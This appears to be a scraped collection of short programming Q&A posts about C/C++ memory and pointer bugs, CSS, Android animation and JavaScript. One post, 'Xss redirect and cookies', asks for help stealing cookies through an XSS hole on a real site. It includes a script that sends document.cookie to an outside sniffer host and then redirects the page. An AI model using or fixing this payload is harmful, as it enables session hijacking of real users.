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• user defined Copy ctor, and copy-ctors further down the chain - compiler bug ? programmers brainbug

  - by J.Colmsee

  Hi. i have a little problem, and I am not sure if it's a compiler bug, or stupidity on my side. I have this struct : struct BulletFXData { int time_next_fx_counter; int next_fx_steps; Particle particles[2];//this is the interesting one ParticleManager::ParticleId particle_id[2]; }; The member "Particle particles[2]" has a self-made kind of smart-ptr in it (resource-counted texture-class). this smart-pointer has a default constructor, that initializes to the ptr to 0 (but that is not important) I also have another struct, containing the BulletFXData struct : struct BulletFX { BulletFXData data; BulletFXRenderFunPtr render_fun_ptr; BulletFXUpdateFunPtr update_fun_ptr; BulletFXExplosionFunPtr explode_fun_ptr; BulletFXLifetimeOverFunPtr lifetime_over_fun_ptr; BulletFX( BulletFXData data, BulletFXRenderFunPtr render_fun_ptr, BulletFXUpdateFunPtr update_fun_ptr, BulletFXExplosionFunPtr explode_fun_ptr, BulletFXLifetimeOverFunPtr lifetime_over_fun_ptr) :data(data), render_fun_ptr(render_fun_ptr), update_fun_ptr(update_fun_ptr), explode_fun_ptr(explode_fun_ptr), lifetime_over_fun_ptr(lifetime_over_fun_ptr) { } /* //USER DEFINED copy-ctor. if it's defined things go crazy BulletFX(const BulletFX& rhs) :data(data),//this line of code seems to do a plain memory-copy without calling the right ctors render_fun_ptr(render_fun_ptr), update_fun_ptr(update_fun_ptr), explode_fun_ptr(explode_fun_ptr), lifetime_over_fun_ptr(lifetime_over_fun_ptr) { } */ }; If i use the user-defined copy-ctor my smart-pointer class goes crazy, and it seems that calling the CopyCtor / assignment operator aren't called as they should. So - does this all make sense ? it seems as if my own copy-ctor of struct BulletFX should do exactly what the compiler-generated would, but it seems to forget to call the right constructors down the chain. compiler bug ? me being stupid ? Sorry about the big code, some small example could have illustrated too. but often you guys ask for the real code, so well - here it is :D EDIT : more info : typedef ParticleId unsigned int; Particle has no user defined copyctor, but has a member of type : Particle { .... Resource<Texture> tex_res; ... } Resource is a smart-pointer class, and has all ctor's defined (also asignment operator) and it seems that Resource is copied bitwise. EDIT : henrik solved it... data(data) is stupid of course ! it should of course be rhs.data !!! sorry for huge amount of code, with a very little bug in it !!! (Guess you shouldn't code at 1 in the morning :D )

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• What is the safest way to pass strings around in C?

  - by chucknelson

  I have a program in C using Solaris with VERY ancient compatibility it seems. Many examples, even here on SO, don't work, as well as lots of code I've written on Mac OS X. So when using very strict C, what is the safest way to pass strings? I'm currently using char pointers all over the place, due to what I thought was simplicity. So I have functions that return char*, I'm passing char* to them, etc. I'm already seeing strange behavior, like a char* I passed having its value right when I enter a function, and then the value being mysteriously gone OR corrupted/overwritten after something simple like one printf() or an malloc to some other pointer. I was thinking maybe declaring a local char[] inside each function, using strcpy() immediately, and then eventually returning a pointer where char *returnval = strdup(localchar[]); This seems...sloppy. Can anyone point me in the right direction on a simple requirement?

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• Xss redirect and cookies

  - by user1824906

  I found Active XSS on one site. I need to steal cookies and after it to make redirect on other site. This site has a non-frame protection I tried to put "><script src='http://site.ru/1.js' /></script>" http://site.ru/1.js contains: img = new Image(); img.src = "http:/sniffer.com/nasdasdnu.gif?"+document.cookie; var URL = "http://images.cards.mail.ru/11bolprivet.jpg" var speed = 100; function reload() { document.location = URL } setTimeout("reload()", speed); But it doesn't work=\ Any help?

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• C++ Passing `this` into method by reference

  - by David

  I have a class constructor that expects a reference to another class object to be passed in as an argument. I understand that references are preferable to pointers when no pointer arithmetic will be performed or when a null value will not exist. This is the header declaration of the constructor: class MixerLine { private: MIXERLINE _mixerLine; public: MixerLine(const MixerDevice& const parentMixer, DWORD destinationIndex); ~MixerLine(); } This is the code that calls the constructor (MixerDevice.cpp): void MixerDevice::enumerateLines() { DWORD numLines = getDestinationCount(); for(DWORD i=0;i<numLines;i++) { MixerLine mixerLine( this, i ); // other code here removed } } Compilation of MixerDevice.cpp fails with this error: Error 3 error C2664: 'MixerLine::MixerLine(const MixerDevice &,DWORD)' : cannot convert parameter 1 from 'MixerDevice *const ' to 'const MixerDevice &' But I thought pointer values could be assigned to pointers, e.g. Foo* foo = new Foo(); Foo& bar = foo;

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• GWT AbstractColumnDefinition (Need to add style to certain Columns)

  - by Mario

  I have a column Definition for each colume that extends AbstractColumnDefinition these columns are put in a DefaultTableDefinition. example: NAME | SIZE | RES | DELETE | this style (AT THE END OF THE PAGE ) is added to the column names if you notice all of them are with a cursor pointer , meaning a hand shows up when i hover above each one. my question is would I be able to remove the coursor for delete or in general for a certain column and keeping it for another one .. i tried to do that with each column Definition but there is no such thing as remove or addstyle even to like put my own style. THANK YOU .gwt-ScrollTable .headerTable td { border-bottom:1px solid black; border-left:1px solid #CCCCCC; border-right:1px solid #CCCCCC; cursor:pointer; vertical-align:bottom; }

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• How to check if memory has been initialized?

  - by atch

  Is there a way of checking if memory pointed to by pointer has been initialized?(not necessarily by my program). Thanks

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• global std::unordered_map com server init problems

  - by PrettyFlower

  I want to have a static global std::unordered_map in the cpp of my entry point for my COM server. relevant header code: typedef unordered_map<HWND,IMyInterface*> MyMapType; relevant body: static MyMapType MyMap; void MyFunction(HWND hWnd, IMyInterface* pObj){ MyMap[HWND] = pObj; } HINSTANCE g_hInstModule = NULL; BOOL WINAPI DllMain ( __in HINSTANCE hInstDLL, __in DWORD fdwReason, __in LPVOID lpvReserved ) { if( fdwReason == DLL_PROCESS_ATTACH ) { g_hInstModule = hInstDLL; return true; } else if( fdwReason == DLL_PROCESS_DETACH ) { return true; } return false; } MyCoClass::MyCoClass() { DRM_Refcount = 1; } HRESULT STDMETHODCALLTYPE MyCoClass::InitMyCoClass() { CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); //replace with make window code MyFunction(hWnd,ISomeInterface); return S_OK; } The only way I can get this to work is be making a map_type pointer and creating an instance of map_type on the heap and pointing at it with the global pointer. :/ WHY?

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• CSS background image inconsistency in IE6 and IE7

  - by The Machine

  I have a span that is generated through javascript, with its css class as follows: .class1{ width:25px; height:25px; background-image: url(pic.png); background-repeat:no-repeat; background-position: center; cursor:pointer; margin-left:10px; } The problem is on, the html page, i can see the pointer -cursor, but not the background image,over the span, in IE7. In IE6, both get shown , no problems.

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• Why C++ virtual function defined in header may not be compiled and linked in vtable?

  - by 0xDEAD BEEF

  Situation is following. I have shared library, which contains class definition - QueueClass : IClassInterface { virtual void LOL() { do some magic} } My shared library initialize class member QueueClass *globalMember = new QueueClass(); My share library export C function which returns pointer to globalMember - void * getGlobalMember(void) { return globalMember;} My application uses globalMember like this ((IClassInterface*)getGlobalMember())->LOL(); Now the very uber stuff - if i do not reference LOL from shared library, then LOL is not linked in and calling it from application raises exception. Reason - VTABLE contains nul in place of pointer to LOL() function. When i move LOL() definition from .h file to .cpp, suddenly it appears in VTABLE and everything works just great. What explains this behavior?! (gcc compiler + ARM architecture_)

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• Convert NSData into Hex NSString

  - by Dawson

  With reference to the following question: Convert NSData into HEX NSSString I have solved the problem using the solution provided by Erik Aigner which is: NSData *data = ...; NSUInteger capacity = [data length] * 2; NSMutableString *stringBuffer = [NSMutableString stringWithCapacity:capacity]; const unsigned char *dataBuffer = [data bytes]; NSInteger i; for (i=0; i<[data length]; ++i) { [stringBuffer appendFormat:@"%02X", (NSUInteger)dataBuffer[i]]; } However, there is one small problem in that if there are extra zeros at the back, the string value would be different. For eg. if the hexa data is of a string @"3700000000000000", when converted using a scanner to integer: unsigned result = 0; NSScanner *scanner = [NSScanner scannerWithString:stringBuffer]; [scanner scanHexInt:&result]; NSLog(@"INTEGER: %u",result); The result would be 4294967295, which is incorrect. Shouldn't it be 55 as only the hexa 37 is taken? So how do I get rid of the zeros? EDIT: (In response to CRD) Hi, thanks for clarifying my doubts. So what you're doing is to actually read the 64-bit integer directly from a byte pointer right? However I have another question. How do you actually cast NSData to a byte pointer? To make it easier for you to understand, I'll explain what I did originally. Firstly, what I did was to display the data of the file which I have (data is in hexadecimal) NSData *file = [NSData dataWithContentsOfFile:@"file path here"]; NSLog(@"Patch File: %@",file); Output: Next, what I did was to read and offset the first 8 bytes of the file and convert them into a string. // 0-8 bytes [file seekToFileOffset:0]; NSData *b = [file readDataOfLength:8]; NSUInteger capacity = [b length] * 2; NSMutableString *stringBuffer = [NSMutableString stringWithCapacity:capacity]; const unsigned char *dataBuffer = [b bytes]; NSInteger i; for (i=0; i<[b length]; ++i) { [stringBuffer appendFormat:@"%02X", (NSUInteger)dataBuffer[i]]; } NSLog(@"0-8 bytes HEXADECIMAL: %@",stringBuffer); As you can see, 0x3700000000000000 is the next 8 bytes. The only changes I would have to make to access the next 8 bytes would be to change the value of SeekFileToOffset to 8, so as to access the next 8 bytes of data. All in all, the solution you gave me is useful, however it would not be practical to enter the hexadecimal values manually. If formatting the bytes as a string and then parsing them is not the way to do it, then how do I access the first 8 bytes of the data directly and cast them into a byte pointer?

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• Find Loding performance of the Website

  - by pandora

  How to find the site performance, there is a tools like YSLOW, Speed traker in google that shows the speed of the website. I have done a php project on LMS with Zend Framework, Everything is in live. When user post contents for a subject that may be size 200K and submitted to the server takes too slow. Sometime server may get DOWN. I login to server(PUTTY) and checked i found that there is more resource occupied in my server. It uses full memory on the server. When i cleared the resource the site loads well. Site is in Dedicated server with 3 more domains with 4GB Ram. Because of this LMS website all the website gets down. I need to check what is wrong in my website. How do i Start?

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• Draw and move animation from xml in android

  - by Muahammad Yousuf Saif

  What I want to do: I want to draw image from xml and then animate it from xml. this image should move with constant speed anywhere on our screen. Now the problem is: I can draw and animate image from xml but i can not move this image with constant speed. I am using two xml files: One for animate and other for moving. XML for animation: android:duration="200"/ XML file for move: <translate android:interpolator="@android:anim/linear_interpolator" android:fromXDelta="2%" android:toXDelta="400%" android:fromYDelta="2%" android:toYDelta="800%"/> Activity.java file code in onCreate() method: ImageView rocketImage = (ImageView) findViewById(R.id.rocket_image); Animation hyperspaceJump = AnimationUtils.loadAnimation(this, R.anim.hyperspace_jump); rocketImage.setBackgroundResource(R.drawable.rocket_thrust); AnimationDrawable rocketAnimation = (AnimationDrawable) rocketImage.getBackground(); rocketAnimation.start(); rocketImage.startAnimation(hyperspaceJump);

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• Test, if object was deleted

  - by justik

  Look to the following code, please: class Node { private: double x, y; public: Node (double xx, double yy): x(xx), y(yy){} }; int main() { Node *n1 = new Node(1,1); Node *n2 = n1; delete n2; n2 = NULL; if (n1 != NULL) //Bad test { delete n1; //throw an exception } } There are two pointers n1, n2 pointed to the same object. I would like to detect whether n2 was deleted using n1 pointer test. But this test results in exception. Is there any way how to determine whether the object was deleted (or was not deleted) using n1 pointer ? Thanks for your help.

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• Inline function and calling cost in C

  - by Eonil

  I'm making a vector/matrix library. (GCC, ARM NEON, iPhone) typedef struct{ float v[4]; } Vector; typedef struct{ Vector v[4]; } Matrix; I passed struct data as pointer to avoid performance degrade from data copying when calling function. So I thought designed function like this: void makeTranslation(const Vector* factor, Matrix* restrict result); But, if function is inline, is there any reason to pass values as pointer for performance? Do those variables copied too? How about register and caches? inline Matrix makeTranslation(Vector factor) __attribute__ ((always_inline)); How do you think about calling costs of each cases?

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• Static source code analysis with LLVM

  - by Phong

  I recently discover the LLVM (low level virtual machine) project, and from what I have heard It can be used to performed static analysis on a source code. I would like to know if it is possible to extract the different function call through function pointer (find the caller function and the callee function) in a program. I could find the kind of information in the website so it would be really helpful if you could tell me if such an library already exist in LLVM or can you point me to the good direction on how to build it myself (existing source code, reference, tutorial, example...). EDIT: With my analysis I actually want to extract caller/callee function call. In the case of a function pointer, I would like to return a set of possible callee. both caller and callee must be define in the source code (this does not include third party function in a library).

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• Basic Custom String Class for C++

  - by wdow88

  Hey all, I'm working on building my own string class with very basic functionality. I am having difficulty understand what is going on with the basic class that I have define, and believe there is some sort of error dealing with the scope occurring. When I try to view the objects I created, all the fields are described as (obviously bad pointer). Also, if I make the data fields public or build an accessor method, the program crashes. For some reason the pointer for the object is 0xccccccccc which points to no where. How can a I fix this? Any help/comments are much appreciated. //This is a custom string class, so far the only functions are //constructing and appending #include<iostream> using namespace std; class MyString1 { public: MyString1() { //no arg constructor char *string; string = new char[0]; string[0] ='\0'; std::cout << string; size = 1; } //constructor receives pointer to character array MyString1(char* chars) { int index = 0; //Determine the length of the array while (chars[index] != NULL) index++; //Allocate dynamic memory on the heap char *string; string = new char[index+1]; //Copy the contents of the array pointed by chars into string, the char array of the object for (int ii = 0; ii < index; ii++) string[ii] = chars[ii]; string[index+1] = '\0'; size = index+1; } MyString1 append(MyString1 s) { //determine new size of the appended array and allocate memory int newsize = s.size + size; MyString1 MyString2; char *newstring; newstring = new char[newsize+1]; int index = 0; //load the first string into the array while (string[index] != NULL) { newstring[index] = string[index]; index++; } //load the second string while (s.string[index] != NULL) { newstring[index] = s.string[index]; index++; } //null terminate newstring[newsize+1] = '\0'; delete string; //generate the object for return MyString2.string=newstring; MyString2.size=newsize; return MyString2; } private: char *string; int size; }; int main() { MyString1 string1; MyString1 string2("Hello There"); MyString1 string3("Buddy"); string2.append(string3); return 0; }

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• Why wont my while loop take new input (c++)

  - by Van

  I've written a program to get a string input from a user and parse it into tokens and move a robot according to the input. My problem is trying to issue more than one command. The code looks like: void Navigator::manualDrive() { const int bufSize = 42; char uinput[bufSize]; char delim[] = " "; char *token; while(true) { Navigator::parseInstruction(uinput); } } /* parseInstruction(char *c) -- parses cstring instructions received * and moves robot accordingly */ void Navigator::parseInstruction(char * c) { const int bufSize = 42; char uinput[bufSize]; char delim[] = " "; char *token; cout << "Enter your directions below: \n"; cin.ignore(); cin.getline (uinput, bufSize); token=strtok(uinput, delim); if(strcmp("forward", token) == 0) { int inches; token = strtok(NULL, delim); inches = atoi (token); Navigator::travel(inches); } if(strcmp("back",token) == 0) { int inches; token = strtok(NULL, delim); inches = atoi (token); double value = fabs(0.0735 * fabs(inches) - 0.0550); myRobot.backward(1/*speed*/, value/*time*/); } if(strcmp("turn",token) == 0) { int degrees; token = strtok(NULL, delim); if(strcmp("left",token) == 0) { token = strtok(uinput, delim); degrees = atoi (token); double value = fabs(0.0041 * degrees - 0.0523); myRobot.turnLeft(1/*speed*/, value/*time*/); } } if(strcmp("turn",token) == 0) { int degrees; token = strtok(NULL, delim); if(strcmp("right",token) == 0) { token = strtok(uinput, delim); degrees = atoi (token); double value = fabs(0.0041 * degrees - 0.0523); myRobot.turnRight(1/*speed*/, value/*time*/); } } if(strcmp("stop",token) == 0) { myRobot.motors(0,0); } } In the function manualDrive I have a while loop calling the function parseInstruction infinitely. The program outputs "Enter your directions below: " When I give the program instructions it executes them, and then it outputs "enter your directions below: " again and when I input my directions again it does not execute them and outputs "Enter your directions below: " instead. I'm sure this is a very simple fix I'm just very new to c++. So if you could please help me out and tell me why the program only takes the first set of directions. thanks

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• Duplicates in a sorted java array

  - by Max Frazier

  I have to write a method that takes an array of ints that is already sorted in numerical order then remove all the duplicate numbers and return an array of just the numbers that have no duplicates. That array must then be printed out so I can't have any null pointer exceptions. The method has to be in O(n) time, can't use vectors or hashes. This is what I have so far but it only has the first couple numbers in order without duplicates and then just puts the duplicates in the back of the array. I can't create a temporary array because it gives me null pointer exceptions. public static int[] noDups(int[] myArray) { int j = 0; for (int i = 1; i < myArray.length; i++) { if (myArray[i] != myArray[j]) { j++; myArray[j] = myArray[i]; } } return myArray; }

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• How can i assign a two dimensional array into other temporary two dimensional array.....?? in C Programming..

  - by AGeek

  Hi I am trying to store the contents of two dimensional array into a temporary array.... How is it possible... I don't want looping over here, as it would add an extra overhead.. Any pointer notation would be good. struct bucket { int nStrings; char strings[MAXSTRINGS][MAXWORDLENGTH]; }; void func() { char **tArray; int tLenArray = 0; for(i=0; i<TOTBUCKETS-1; i++) { if(buck[i].nStrings != 0) { tArray = buck[i].strings; tLenArray = buck[i].nStrings; } } } The error here i am getting is:- [others@centos htdocs]$ gcc lexorder.c lexorder.c: In function âlexSortingâ: lexorder.c:40: warning: assignment from incompatible pointer type Please let me know if this needs some more explanaition...

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• fread() behaves weird

  - by Cres

  hi, I have a problem in a C program of mine where after I use fread(), the file pointer goes to the end of the file sometimes. I'll try to explain better - the code looks something like: dummy = ftell(fp); fread(&buf, sizeof(unsigned char), 8, fp); dummy = ftell(fp); where fp is a file pointer to an opened file (opened it with "w+", I'm using it as a binary file and I know i'm supposed to have a "b" in there too, but I heard its not really important to add it..), dummy is just an unsigned long variable, and buf is unsigned char[8] now, when debugging, at the ftell before the fread, dummy is 262062 at the ftell after the fread, dummy is 262640 even though I only 'moved' 8 bytes.. does anyone have any idea what can be the cause of this..? thanks for your help :)

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• Viewing array of pointers to structures in Visual Studio in the debugger

  - by Fozi

  I'm having a problem displaying the contents of a pointer array with its contents in the debugger. If I just add the pointer to the watch only the fist entry is visible. But if I add the length to it the debugger assumes that I have something like array[length][length]. Picture The first entry is the broken one, looks the same with ,2 or with any ,2 x. The second one is what I would like to see, but for more entries. Edit: The two entries displayed as [x][1] are invalid. I'm using VS 2005 but I think I had this problem on 2008 as well. Is this a bug or am I doing something wrong?

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• Button (using <button> tag) does not display in Opera

  - by Tanveer Dewan

  On my website I am using the html 'button' tag but the button does not display when page is opened in Opera version 12.15. Works fine in chrome, firefox and IE. If you go to my cdn test site CDN Comparison u see cloudflare, incapsula and page speed images. below the three cdn images there's a button which does not display. It's supposted to be right above the 'Test and monitor image load speed of the top three Free CDN Service providers' sentence. please help. <button id="button" onclick="changeLink()">Test Another Image</button> I have not added any style to this tag using CSS

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• Javascript pass reference by value

  - by Carlos R. Batista

  Im having this weird reference issue when im trying to get a JSON file through query: var themeData; $.getJSON("json/sample.js", function(data) { themeData = data.theme; console.log(themeData.sample[0].description); }); console.log(themeData.sample[0].description); The first console.log works, the second doesnt. Im guessing because "data" already expired by the time the script gets there and themeData is just a mere pointer to "data". Is there a ways I can make sure themeData gets a duplicate of "data" and not just a pointer to it?

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• Configuring a html page from an original demo page

  - by Wold

  I forked into rainyday.js through github, an awesome javascript program made by maroslaw at this link: https://github.com/maroslaw/rainyday.js. Basically I tried taking his demo page and my own photo city.jpg and changed the applicable fields so that I could run it on my own site, but only the picture loads and the script itself doesn't start to run. I'm pretty new to html and javascript so I'm probably omitting something very simple, but here is the script for the demo code: <script src="rainyday.js"></script> <script> function getURLParameter(name) { return decodeURIComponent((new RegExp('[?|&]' + name + '=' + '([^&;]+?)(&|#|;|$)').exec(location.search)||[,''])[1].replace(/\+/g, '%20'))||null; } function demo() { var image = document.getElementById('background'); image.onload = function () { var engine = null; var preset = getURLParameter('preset') || '1'; if (preset === '1') { engine = new RainyDay({ element: 'background', blur: 10, opacity: 1, fps: 30, speed: 30 }); engine.rain([ [1, 2, 8000] ]); engine.rain([ [3, 3, 0.88], [5, 5, 0.9], [6, 2, 1] ], 100); } else if (preset === '2') { engine = new RainyDay({ element: 'background', blur: 10, opacity: 1, fps: 30, speed: 30 }); engine.VARIABLE_GRAVITY_ANGLE = Math.PI / 8; engine.rain([ [0, 2, 0.5], [4, 4, 1] ], 50); } else if (preset === '3') { engine = new RainyDay({ element: 'background', blur: 10, opacity: 1, fps: 30, speed: 30 }); engine.trail = engine.TRAIL_SMUDGE; engine.rain([ [0, 2, 0.5], [4, 4, 1] ], 100); } }; image.crossOrigin = 'anonymous'; if (getURLParameter('imgur')) { image.src = 'http://i.imgur.com/' + getURLParameter('imgur') + '.jpg'; } else if (getURLParameter('img')) { image.src = getURLParameter('img') + '.jpg'; } var youtube = getURLParameter('youtube'); if (youtube) { var div = document.getElementById('sound'); var player = document.createElement('iframe'); player.frameborder = '0'; player.height = '1'; player.width = '1'; player.src = 'https://youtube.com/embed/' + youtube + '?autoplay=1&controls=0&showinfo=0&autohide=1&loop=1'; div.appendChild(player); } } </script> This is where I am naming my background and specifying the photo from within the directory. <body onload="demo();"> <div id="sound" style="z-index: -1;"></div> <div id="parent"> <img id='background' alt="background" src="city.jpg" /> </div> </body> The actual code for the whole entire rainyday.js script can be found here: https://github.com/maroslaw/rainyday.js/blob/master/rainyday.js Thanks in advance for any help and advice!

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• Access violation using LocalAlloc()

  - by PaulH

  I have a Visual Studio 2008 Windows Mobile 6 C++ application that is using an API that requires the use of LocalAlloc(). To make my life easier, I created an implementation of a standard allocator that uses LocalAlloc() internally: /// Standard library allocator implementation using LocalAlloc and LocalReAlloc /// to create a dynamically-sized array. /// Memory allocated by this allocator is never deallocated. That is up to the /// user. template< class T, int max_allocations > class LocalAllocator { public: typedef T value_type; typedef size_t size_type; typedef ptrdiff_t difference_type; typedef T* pointer; typedef const T* const_pointer; typedef T& reference; typedef const T& const_reference; pointer address( reference r ) const { return &r; }; const_pointer address( const_reference r ) const { return &r; }; LocalAllocator() throw() : c_( NULL ) { }; /// Attempt to allocate a block of storage with enough space for n elements /// of type T. n>=1 && n<=max_allocations. /// If memory cannot be allocated, a std::bad_alloc() exception is thrown. pointer allocate( size_type n, const void* /*hint*/ = 0 ) { if( NULL == c_ ) { c_ = LocalAlloc( LPTR, sizeof( T ) * n ); } else { HLOCAL c = LocalReAlloc( c_, sizeof( T ) * n, LHND ); if( NULL == c ) LocalFree( c_ ); c_ = c; } if( NULL == c_ ) throw std::bad_alloc(); return reinterpret_cast< T* >( c_ ); }; /// Normally, this would release a block of previously allocated storage. /// Since that's not what we want, this function does nothing. void deallocate( pointer /*p*/, size_type /*n*/ ) { // no deallocation is performed. that is up to the user. }; /// maximum number of elements that can be allocated size_type max_size() const throw() { return max_allocations; }; private: /// current allocation point HLOCAL c_; }; // class LocalAllocator My application is using that allocator implementation in a std::vector< #define MAX_DIRECTORY_LISTING 512 std::vector< WIN32_FIND_DATA, LocalAllocator< WIN32_FIND_DATA, MAX_DIRECTORY_LISTING > > file_list; WIN32_FIND_DATA find_data = { 0 }; HANDLE find_file = ::FindFirstFile( folder.c_str(), &find_data ); if( NULL != find_file ) { do { // access violation here on the 257th item. file_list.push_back( find_data ); } while ( ::FindNextFile( find_file, &find_data ) ); ::FindClose( find_file ); } // data submitted to the API that requires LocalAlloc()'d array of WIN32_FIND_DATA structures SubmitData( &file_list.front() ); On the 257th item added to the vector<, the application crashes with an access violation: Data Abort: Thread=8e1b0400 Proc=8031c1b0 'rapiclnt' AKY=00008001 PC=03f9e3c8(coredll.dll+0x000543c8) RA=03f9ff04(coredll.dll+0x00055f04) BVA=21ae0020 FSR=00000007 First-chance exception at 0x03f9e3c8 in rapiclnt.exe: 0xC0000005: Access violation reading location 0x01ae0020. LocalAllocator::allocate is called with an n=512 and LocalReAlloc() succeeds. The actual Access Violation exception occurs within the std::vector< code after the LocalAllocator::allocate call: 0x03f9e3c8 0x03f9ff04 > MyLib.dll!stlp_std::priv::__copy_trivial(const void* __first = 0x01ae0020, const void* __last = 0x01b03020, void* __result = 0x01b10020) Line: 224, Byte Offsets: 0x3c C++ MyLib.dll!stlp_std::vector<_WIN32_FIND_DATAW,LocalAllocator<_WIN32_FIND_DATAW,512> >::_M_insert_overflow(_WIN32_FIND_DATAW* __pos = 0x01b03020, _WIN32_FIND_DATAW& __x = {...}, stlp_std::__true_type& __formal = {...}, unsigned int __fill_len = 1, bool __atend = true) Line: 112, Byte Offsets: 0x5c C++ MyLib.dll!stlp_std::vector<_WIN32_FIND_DATAW,LocalAllocator<_WIN32_FIND_DATAW,512> >::push_back(_WIN32_FIND_DATAW& __x = {...}) Line: 388, Byte Offsets: 0xa0 C++ MyLib.dll!Foo(unsigned long int cbInput = 16, unsigned char* pInput = 0x01a45620, unsigned long int* pcbOutput = 0x1dabfbbc, unsigned char** ppOutput = 0x1dabfbc0, IRAPIStream* __formal = 0x00000000) Line: 66, Byte Offsets: 0x1e4 C++ If anybody can point out what I may be doing wrong, I would appreciate it. Thanks, PaulH

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